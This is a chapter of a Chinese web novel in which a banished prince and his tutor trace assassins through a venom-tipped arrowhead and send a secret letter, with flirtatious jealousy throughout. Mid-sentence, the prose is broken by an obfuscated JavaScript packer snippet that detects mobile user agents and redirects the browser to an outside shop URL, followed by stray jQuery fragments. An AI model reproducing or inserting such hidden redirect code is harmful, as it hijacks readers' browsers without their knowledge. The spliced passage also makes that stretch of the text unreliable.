27. 龌龊

作品:《养歪偏执皇子死遁后

    段逸什么出格的话也没说,不,他甚至没和楚凤歌搭话,就这么突然被怼了,只好一阵莫名其妙的沉默。


    苏遐州扶额,不知道这位活祖宗又发什么疯,但看他气哼哼的盯着帐面上段逸的影子,恨不得盯出个洞来,也知道这会儿最好别让他俩待在一起。


    于是赶紧起身撩开帘子,小声对段逸道:“殿下无缘无故被扣了谋逆这么个大帽子,心情不佳,你别往心里去……


    “后面我们要说的,只怕更为隐秘,你不听也好,放心,先去别处逛逛,我们不会乱跑的。”


    段逸定定的看了他一阵,忽然握拳道:“你等着!我动用所有的狐朋狗友,尽快!马上!给你调职!”


    说完,很怜惜地摸了摸苏遐州的脑袋,雄赳赳地走了。


    “???”苏遐州迷惑地眨了眨眼,不明白话题为什么跳跃到了调职上。


    目送着段逸走远了,他撩开帐帘回去,迎面又是一个满不高兴的楚凤歌。


    见他回来了,控诉道:“你去跟他说什么了?我不过就是说了他一句,用得着你哄这么半天么?他惹我生气,怎么不见先生也哄哄我?!”


    苏遐州简直被楚凤歌这套颠倒黑白的土匪逻辑整无语了,他强忍着大翻白眼的冲动,润物细无声地解释道:“臣出去只是跟思飞说,后面我与殿下要谈的是机密事,天知地知你知我知,他不好再听,将他支开了,并没多说其他什么的。”


    一边说,一边心里无限悲凉:哄完了这个哄那个,我不是内宦,是什么大户人家哄孩子的奶娘吧!!!


    奈何楚凤歌就吃这一套,也不知道那句话说到了他心坎里,那幽怨神色一收,兴高采烈地拍拍身边的位置,道:“好吧,就饶他这一次——先生过来坐呀!”


    苏遐州坐在他身边,当然立刻又被他揽住了肩膀,一颗脑袋在他肩窝上拱来拱去,正事反而撂在脑后不提了。


    苏遐州只得道:“只是眼下,咱们手中既无证据,也无线索,也没什么能出去活动的人手,就算知道是太子所为,也无从查起啊。”


    一边说,一边也颇感棘手。


    楚凤歌却道:“谁说没有线索?”


    说着,在苏遐州的注视中,他探手入怀,指尖捻出一物——赫然是一枚箭头,上面一抹幽蓝,折射着不详的光泽。


    苏遐州瞬间想起来,昨夜楚凤歌临走之时,顺手将这枚观察过的箭头揣进了怀里,不成想,此刻却成了关键物证!


    他还真是沉得住气,在行台被太子往死里冤枉,都没露出一丝一毫底牌!


    只是不知,这枚箭头要如何用呢?苏遐州脑中霎时转过十数个念头,却又都被他自己一一否决。


    楚凤歌玩味地对着光欣赏了这枚箭头一阵,忽然用食指轻轻一抹,送进了嘴里!


    苏遐州根本没想到他这么狂野,剧毒也往嘴里塞,眼睁睁看着他咂了咂嘴,道:“酸酸的。”


    苏遐州惨叫道:“殿下!!!!!”


    他扑出去接了一杯水塞给楚凤歌,语无伦次道:“殿下你赶紧吐出来漱漱口!你还好吧!有没有哪里不舒服!!!”


    楚凤歌耸耸肩,道:“没有啊。”


    苏遐州抓着他,上下打量,观察了好一会儿,确定他神色未变,才将信将疑地放开了,喃喃道:“难道……这箭头淬的,不是毒?”


    楚凤歌逗他逗够了,又长臂一伸,将他带到怀里,笑嘻嘻道:“是毒,不过——是蛇毒。”


    “而且,是提纯过的蛇毒。”


    苏遐州醍醐灌顶,蛇毒毒性特殊,其一,若是由伤口侵入,毒性剧烈的,不出一个时辰就能要命,但若是从口中吃下去,不但不妨害性命,反而是上佳的补品。


    他从楚凤歌手中接过毒箭,仔细查看,就见铁箭簇新,附着其上的毒素粘稠,显然是提纯浓缩过了,果真是杀人利器!


    只是蛇毒还有第二个特性:极易腐坏,不耐保存,就算是用尽手段,毒性也保不过两日。


    加上箭头的数量和浓缩程度,苏遐州几乎可以断定,幕后之人要组织这场刺杀,必定在玉华宫或者京城范围内豢养了大批毒蛇。


    苏遐州对着箭头仔细相了相,道:“不,不止这些,除却蛇毒,还有其他线索!”


    他道:“这铁箭不是兵部内造的。”


    他将箭头翻过来,道:“若是兵部造的,这里便会有‘兵部敕造’四字,这枚显然没有。”


    若是太子竟然愚蠢到给死士用兵部敕造的箭矢,那也就不用楚凤歌在这里费心了。


    不过,但凡行过,必有痕迹,不用兵部统一制式,这本身也就成了一个破绽。


    放在懂行的人眼里,铸箭之人的手艺、习惯、所用铁矿都可一览无余。


    苏遐州续道:“况且太子只是为筹备此次刺杀,临时铸造一批而已,那铁匠必然不可能是长期豢养,八成是就近找来顶班的,失踪的铁匠也不失为一条线索。”


    楚凤歌点点头,赞赏之色藏也藏不住,追问道:“还有呢?”


    苏遐州道:“还有被殿下打伤的刺客,总要延医问药,可在周边医馆查访,如若没有,那便是刺客的主子家养着郎中……这便不好查了。”


    楚凤歌勾了勾唇角,道:“单从这一条看的确是不好查了,但是先生,若是此地能豢养大量毒蛇、私设铸铁作坊、还养着郎中死士,不被左邻右舍发觉,那——”


    苏遐州一震,喃喃接腔道:“那刺客的大本营,多半是在庄子上,不!不是普通的庄子,而是方圆百里的大庄园或是大宅院,才能容纳如此庞大的阴谋……”


    可大邺对于官员宅邸的规模、制式都有规定,更是严禁土地兼并之风,连楚凤歌名下恐怕都没有足够庞大的产业,能如此豪阔的,岂不是就只有……


    苏遐州打了个寒噤,只是……


    他道:“我与殿下被幽禁在此,思飞看押咱们,也是不能擅离职守的,这事又得冒风险急办,能交给谁来查证呢?”


    不由得微觉头痛。


    楚凤歌却道:“先生有人脉,可我也是自小在宫里长大的,未必就没有几个知己朋友。先生尽管磨墨写信,我自有办法。”


    写完了信,楚凤歌附耳对苏遐州交代几句,便叫他去找段逸。


    那厢段逸郁闷地转了一圈回来,远远就见苏遐州急急地朝他挥手,便迅速忘掉了方才的不愉快,高高兴兴叫道:“小州儿!”


    边朝他飞奔过去。


    走近了,就见苏遐州手上拿着一封信,已经拿蜡油封好,盖了楚凤歌的私印,好奇道:“这是什么?给谁的?”


    苏遐州有点忸怩,哼哼唧唧半晌,才道:“得麻烦你送回大兴去,你要是觉得危险,就——”


    “我段思飞在你眼里是这种扔下朋友不管的人么!”还没等他说完,段逸就生气了,瞪起眼睛道;“你都快叫人害死了,我能不管你么?我怎么对得起伯父伯母!”


    苏遐州无奈道:“思飞哥哥,我不是这个意思……”


    手上的信就被一把抢走了,段逸拍着胸脯大包大揽道:“说罢,送给谁?我今日就想办法送!”


    苏遐州道:“大恩不言谢!送给金吾卫中郎将,一个叫沈醉的,不知道你认不认……呃,怎么了?”


    然后他就看着段逸踌躇满志的脸碎掉了,他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13272599|139947||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    看了看手里的信,看看苏遐州,又望望毡帐里的楚凤歌,结结巴巴道:“送,送给谁???”


    苏遐州道:“送,送给沈醉……你认识他?”


    段逸霜打茄子一般,哭丧着脸点点头,道:“何止是认识!”


    “几个月之前,我还在街上跟他打了一架,结果把这小子活活给打吐血了……不是,我寻思我也没使劲啊……”


    苏遐州也无语了。


    段逸抓抓头发,像是下定了什么重大的决心一样,道:“没事!我去送!这事除了我也没别人能干了,是吧?”


    说完,原地握拳跺跺脚,才送死一般丧头耷脑拖着脚又跑了。


    苏遐州也不知道是叹了口气,还是松了口气,转身撩开帐帘,谁知一脚迈出,就差点和楚凤歌撞个满怀,赶紧后退一步。


    楚凤歌眯着眼睛,挑眉道:“思飞哥哥、小州儿,叫得真亲热啊。”


    “……”苏遐州居然感觉有点莫名心虚,解释道:“那个,我和他从小就是这么叫的,习惯了,就没改……”


    楚凤歌继续道:“还帮你做这么危险的事,私自帮你递信,之前也是跑前跑后帮你,他怎么对你这么好?”


    苏遐州心道:帮我不就是帮你么?!个小兔崽子,别不识好歹啊!


    嘴上敷衍道:“臣不能离开宫禁,思飞也是看在故交面子上,才帮衬一二……”


    然而楚凤歌的下一句,就把他劈了个外焦里嫩。


    楚凤歌怀疑道:“先生如此俊逸清秀,他不会是看上你的美色了罢?”


    “?!!!”什么玩意?谁?看上了谁?!


    苏遐州瞠圆了眼睛,一时间竟然反应不过来楚凤歌究竟是什么意思。


    就在他发呆的空档,楚凤歌的手捏住了他的下巴,微微一抬,左右看了看,煞有介事道:“先生美色,他觊觎也是常事,所以,以后别跟他走得那么近,听到了么?”


    最后一句,他越挨越近,热气喷洒在苏遐州面颊上,是个极其暧昧的距离,像是宣誓主权,又像是还存着别的什么不可告人的心思。


    苏遐州哭笑不得地推开他的手,道:“思飞是臣的发小,自小一起长大的,况且臣毕竟还是男子,他断然不会有此等龌龊心思,殿下不必为臣担心……”


    可这句解释又不知道惹了楚凤歌什么敏感的小心思,他面色微沉,道:“龌龊么?”


    苏遐州:“啊?”


    楚凤歌道:“大邺不禁男风,有这种心思不是很正常么?”


    “……”苏遐州看着他一副理直气壮的样子,觉得是自己不正常。


    他艰难道:“呃……臣不是这个意思……无论男女,倾心相许既可,只是臣……臣……没有、也不配有喜欢的人而已。”


    楚凤歌所有所思,又似乎有什么不满,有些冷淡地“哦”了一声,不做声了。


    之后就是漫长的等待,尽管清楚大兴之大,沈醉就算有三头六臂,想在一旬内查清庄园的所在之处,也是难于登天。


    说实话,苏遐州不太相信就凭一个沈醉,能赶在大理寺定案之前查出什么眉目,毕竟一人对抗一寺,何止是难,根本就是天方夜谭。


    苏遐州收拾东西的时候,无意中看到那件封王的大礼服,就是一阵叹息。


    楚凤歌那没几天的册封礼,看来是赶不上了……


    因此第三天一大早,段逸来禀报说,沈醉今日半夜就会过来的时候,苏遐州有一种游离于现实之外的不真实感。


    茫然之后,就是忐忑,他和楚凤歌对视一眼,沈醉要来,必然是有什么重大发现。


    或是……难以解决的难题。